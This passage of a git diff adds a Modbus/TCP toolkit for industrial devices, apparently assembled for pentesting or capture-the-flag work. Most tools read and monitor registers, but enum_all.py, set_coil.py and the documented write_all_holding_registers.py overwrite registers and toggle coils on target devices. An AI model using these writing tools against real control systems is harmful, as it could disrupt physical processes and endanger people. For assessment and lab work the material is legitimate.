-r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + 